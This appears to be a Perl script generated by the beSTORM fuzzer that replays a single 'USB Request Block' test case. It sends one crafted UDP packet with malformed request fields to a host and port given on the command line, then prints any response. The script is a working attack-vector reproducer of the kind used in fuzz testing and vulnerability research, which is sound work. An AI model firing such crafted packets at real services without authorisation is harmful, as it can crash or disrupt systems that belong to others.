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#!/usr/bin/perl
# Automatically generated by beSTORM (tm) version 6.3.31 ( 6617 )
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# Attack vector:
#
M0:P0:B0.BT0:B0.BT0:B0.BT0.L0.L0:B0.BT0.L0.L0:B4.BT8.L0.L0:B0.BT0.L0.L0:B0.BT0.L0.L0:B0.BT0.L0.L0:B0
.BT0
# Module:
# USB Request Block

use strict;
use warnings;

use Getopt::Std;
use IO::Socket::INET;

$SIG{INT} = \&abort;

my $host = '127.0.0.1';
my $port = 1521;
my $proto = 'udp';
my $sockType = SOCK_DGRAM;
my $timeout = 1;

#Read command line arguments
my %opt;
my $opt_string = 'hH:P:t:';
getopts( "$opt_string", \%opt );

if (defined $opt{h}) {
    usage()
}

$host = $opt{H} ? $opt{H} : $host;
$port = $opt{P} ? $opt{P} : $port;
$timeout = $opt{t} ? $opt{t} : $timeout;

my @commands = (
{Command => 'Send',
Data =>
"InjectUSB\x06\x04Data\x00\x00\x0BRequestType\x00\x01\x08\x07Request\x00\x01\x06\x05Index\x00\x01\x00\x06L
ength\x00\x02\x00\x06\x05Value\x00\x02\x02\x00" },
);

###
# End user configurable part
###

#1. Create a new connection
my $sock = new IO::Socket::INET (

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        PeerAddr => $host,
        PeerPort => $port,
        Proto => $proto,
        Type => $sockType,
        Timeout => $timeout,
    )
    or die "socket error: $!\n\n";

print "connected to: $host:$port\n";

$sock->autoflush(1);
binmode $sock;

#2. communication part

foreach my $command (@commands)
{
    if ($command->{'Command'} eq 'Receive') {
        my $buf = receive($sock, $timeout);
        if (length $buf) {
            print "received: [$buf]\n";
        }
    }
    elsif ($command->{'Command'} eq 'Send') {
        print "sending: [".$command->{'Data'}."] \n";
        send ($sock, $command->{'Data'}, 0) or die "send failed, reason: $!\n";
    }
}

#3. Close connection
close ($sock);

#The end

sub receive
{
    my $sock = shift;
    my $timeout = shift;

    my $tmpbuf;
    my $buf = "";

    while(1)
    { # Example from perldoc -f alarm
        eval {
            local $SIG{ALRM} = sub { die "timeout\n" };
            alarm $timeout;

            my $ret = read $sock, $tmpbuf, 1; #We read data one byte at a time.
            if ( !defined $ret or $ret == 0 ) { #EOF
                die "timeout\n";
            }

            alarm 0;

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$buf .= $tmpbuf;
};
if ($@) { #time out
if($@ eq "timeout\n") {
last;
}
else {
die "receive aborted\n";
}
}
} #while
return $buf;
}
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sub abort
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```
{
print "aborting...\n";
if ($sock)
{
close $sock;
}
die "User aborted operation\n";
}
```

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sub usage
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{
print "usage: $0 [-hHPt]\n";
print "-h\t: this help message\n";
print "-H\t: override default host - $host\n";
print "-P\t: override default port - $port\n";
print "-t\t: set socket timeout in seconds\n";
exit 0;
}
```